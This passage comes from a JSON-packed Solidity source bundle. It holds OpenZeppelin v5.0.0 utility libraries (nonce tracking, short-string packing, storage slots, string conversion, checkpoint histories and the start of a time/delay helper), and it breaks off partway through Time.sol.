"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides tracking nonces for addresses. Nonces will only increment.\n */\nabstract contract Nonces {\n /**\n * @dev The nonce used for an `account` is not the expected current nonce.\n */\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n /**\n * @dev Returns the next unused nonce for an address.\n */\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n /**\n * @dev Consumes a nonce.\n *\n * Returns the current value and increments nonce.\n */\n function _useNonce(address owner) internal virtual returns (uint256) {\n // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be\n // decremented or reset. This guarantees that the nonce never overflows.\n unchecked {\n // It is important to do x++ and not ++x here.\n return _nonces[owner]++;\n }\n }\n\n /**\n * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.\n */\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/ShortStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.20;\n\nimport {StorageSlot} from \"./StorageSlot.sol\";\n\n// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |\n// | length | 0x BB |\ntype ShortString is bytes32;\n\n/**\n * @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n *\n * Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n *\n * Usage example:\n *\n * ```solidity\n * contract Named {\n * using ShortStrings for *;\n *\n * ShortString private immutable _name;\n * string private _nameFallback;\n *\n * constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n *\n * function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n */\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /**\n * @dev Encode a string of at most 31 chars into a `ShortString`.\n *\n * This will trigger a `StringTooLong` error is the input string is too long.\n */\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n /**\n * @dev Decode a `ShortString` back to a \"normal\" string.\n */\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /**\n * @dev Return the length of a `ShortString`.\n */\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /**\n * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n */\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n /**\n * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n */\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /**\n * @dev Return the length of a string that was encoded to `ShortString` or written to storage using\n * {setWithFallback}.\n *\n * WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n */\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(newImplementation.code.length > 0);\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"./math/Math.sol\";\nimport {SignedMath} from \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n uint8 private constant ADDRESS_LENGTH = 20;\n\n /**\n * @dev The `value` string doesn't fit in the specified `length`.\n */\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toStringSigned(int256 value) internal pure returns (string memory) {\n return string.concat(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value)));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n uint256 localValue = value;\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n localValue >>= 4;\n }\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal\n * representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/structs/Checkpoints.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/Checkpoints.sol)\n// This file was procedurally generated from scripts/generate/templates/Checkpoints.js.\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\n\n/**\n * @dev This library defines the `Trace*` struct, for checkpointing values as they change at different points in\n * time, and later looking up past values by block number. See {Votes} as an example.\n *\n * To create a history of checkpoints define a variable type `Checkpoints.Trace*` in your contract, and store a new\n * checkpoint for the current transaction block using the {push} function.\n */\nlibrary Checkpoints {\n /**\n * @dev A value was attempted to be inserted on a past checkpoint.\n */\n error CheckpointUnorderedInsertion();\n\n struct Trace224 {\n Checkpoint224[] _checkpoints;\n }\n\n struct Checkpoint224 {\n uint32 _key;\n uint224 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace224 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint32).max` key set will disable the\n * library.\n */\n function push(Trace224 storage self, uint32 key, uint224 value) internal returns (uint224, uint224) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace224 storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace224 storage self) internal view returns (bool exists, uint32 _key, uint224 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint224 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace224 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace224 storage self, uint32 pos) internal view returns (Checkpoint224 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint224[] storage self, uint32 key, uint224 value) private returns (uint224, uint224) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint224 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint224[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint224 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace208 {\n Checkpoint208[] _checkpoints;\n }\n\n struct Checkpoint208 {\n uint48 _key;\n uint208 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace208 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint48).max` key set will disable the\n * library.\n */\n function push(Trace208 storage self, uint48 key, uint208 value) internal returns (uint208, uint208) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace208 storage self) internal view returns (uint208) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace208 storage self) internal view returns (bool exists, uint48 _key, uint208 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint208 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace208 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace208 storage self, uint32 pos) internal view returns (Checkpoint208 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint208[] storage self, uint48 key, uint208 value) private returns (uint208, uint208) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint208 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint208[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint208 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace160 {\n Checkpoint160[] _checkpoints;\n }\n\n struct Checkpoint160 {\n uint96 _key;\n uint160 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace160 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint96).max` key set will disable the\n * library.\n */\n function push(Trace160 storage self, uint96 key, uint160 value) internal returns (uint160, uint160) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace160 storage self) internal view returns (uint160) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace160 storage self) internal view returns (bool exists, uint96 _key, uint160 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint160 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace160 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace160 storage self, uint32 pos) internal view returns (Checkpoint160 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint160[] storage self, uint96 key, uint160 value) private returns (uint160, uint160) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint160 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint160[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint160 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/types/Time.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/types/Time.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\nimport {SafeCast} from \"../math/SafeCast.sol\";\n\n/**\n * @dev This library provides helpers for manipulating time-related objects.\n *\n * It uses the following types:\n * - `uint48` for timepoints\n * - `uint32` for durations\n *\n * While the library doesn't provide specific types for timepoints and duration, it does provide:\n * - a `Delay` type to represent duration that can be programmed to change value automatically at a given point\n * - additional helper functions\n */\nlibrary Time {\n using Time for *;\n\n /**\n * @dev Get the block timestamp as a Timepoint.\n */\n function timestamp() internal view returns (uint48) {\n return SafeCast.toUint48(block.timestamp);\n }\n\n /**\n * @dev Get the block number as a Timepoint.\n */\n function blockNumber() internal view returns (uint48) {\n return SafeCast.toUint48(block.number);\n }\n\n // ==================================================== Delay =====================================================\n /**\n * @dev A `Delay` is a uint32 duration that can be programmed to change value automatically at a given point in the\n * future. The \"effect\" timepoint describes when the transitions happens from the \"old\" value to the \"new\" value.\n * This allows updating the delay applied to some operation while keeping some guarantees.\n *\n * In particular, the {update} function guarantees that if the delay is reduced, the old delay still applies for\n * some time. For example if the delay is currently 7 days to do an upgrade, the admin should not be able to set\n * the delay to 0 and upgrade immediately. If the admin wants to reduce the delay, the old delay (7 days) should\n * still apply for some time.\n *\n *\n * The `Delay` type is 112 bits long, and packs the following:\n *\n * ```\n * | [uint48]: effect date (timepoint)\n * | | [uint32]: value before (duration)\n * ↓ ↓ ↓ [uint32]: value after (duration)\n * 0xAAAAAAAAAAAABBBBBBBBCCCCCCCC\n * ```\n *\n * NOTE: The {get} and {withUpdate} functions operate using timestamps. Block number based delays are not currently\n * supported.\n */\n type Delay is uint112;\n\n /**\n * @dev Wrap a duration into a Delay to add the one-step \"update in the future\" feature\n */\n function toDelay(uint32 duration) internal pure returns (Delay) {\n return Delay.wrap(duration);\n }\n\n /**\n * @dev Get the value at a given timepoint plus the pending value and effect timepoint if there is a scheduled\n * change after this timepoint. If the effect timepoint is 0, then the pending value should not be considered.\n */\n function _getFullAt(Delay self, uint48 timepoint) private pure returns (uint32, uint32, uint48) {\n (uint32 valueBefore, uint32 valueAfter, uint48 effect) = self.unpack();\n return effect <= timepoint ? (valueAfter, 0, 0) : (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev Get the current value plus the pending value and effect timepoint if there is a scheduled change. If the\n * effect timepoint is 0, then the pending value should not be considered.\n */\n function getFull(Delay self) internal view returns (uint32, uint32, uint48) {\n return _getFullAt(self, timestamp());\n }\n\n /**\n * @dev Get the current value.\n */\n function get(Delay self) internal view returns (uint32) {\n (uint32 delay, , ) = self.getFull();\n return delay;\n }\n\n /**\n * @dev Update a Delay object so that it takes a new duration after a timepoint that is automatically computed to\n * enforce the old delay at the moment of the update. Returns the updated Delay object and the timestamp when the\n * new delay becomes effective.\n */\n function withUpdate(\n Delay self,\n uint32 newValue,\n uint32 minSetback\n ) internal view returns (Delay updatedDelay, uint48 effect) {\n uint32 value = self.get();\n uint32 setback = uint32(Math.max(minSetback, value > newValue ? value - newValue : 0));\n effect = timestamp() + setback;\n return (pack(value, newValue, effect), effect);\n }\n\n /**\n * @dev Split a delay into its components: valueBefore, valueAfter and effect (transition timepoint).\n */\n function unpack(Delay self) internal pure returns (uint32 valueBefore, uint32 valueAfter, uint48 effect) {\n uint112 raw = Delay.unwrap(self);\n\n valueAfter = 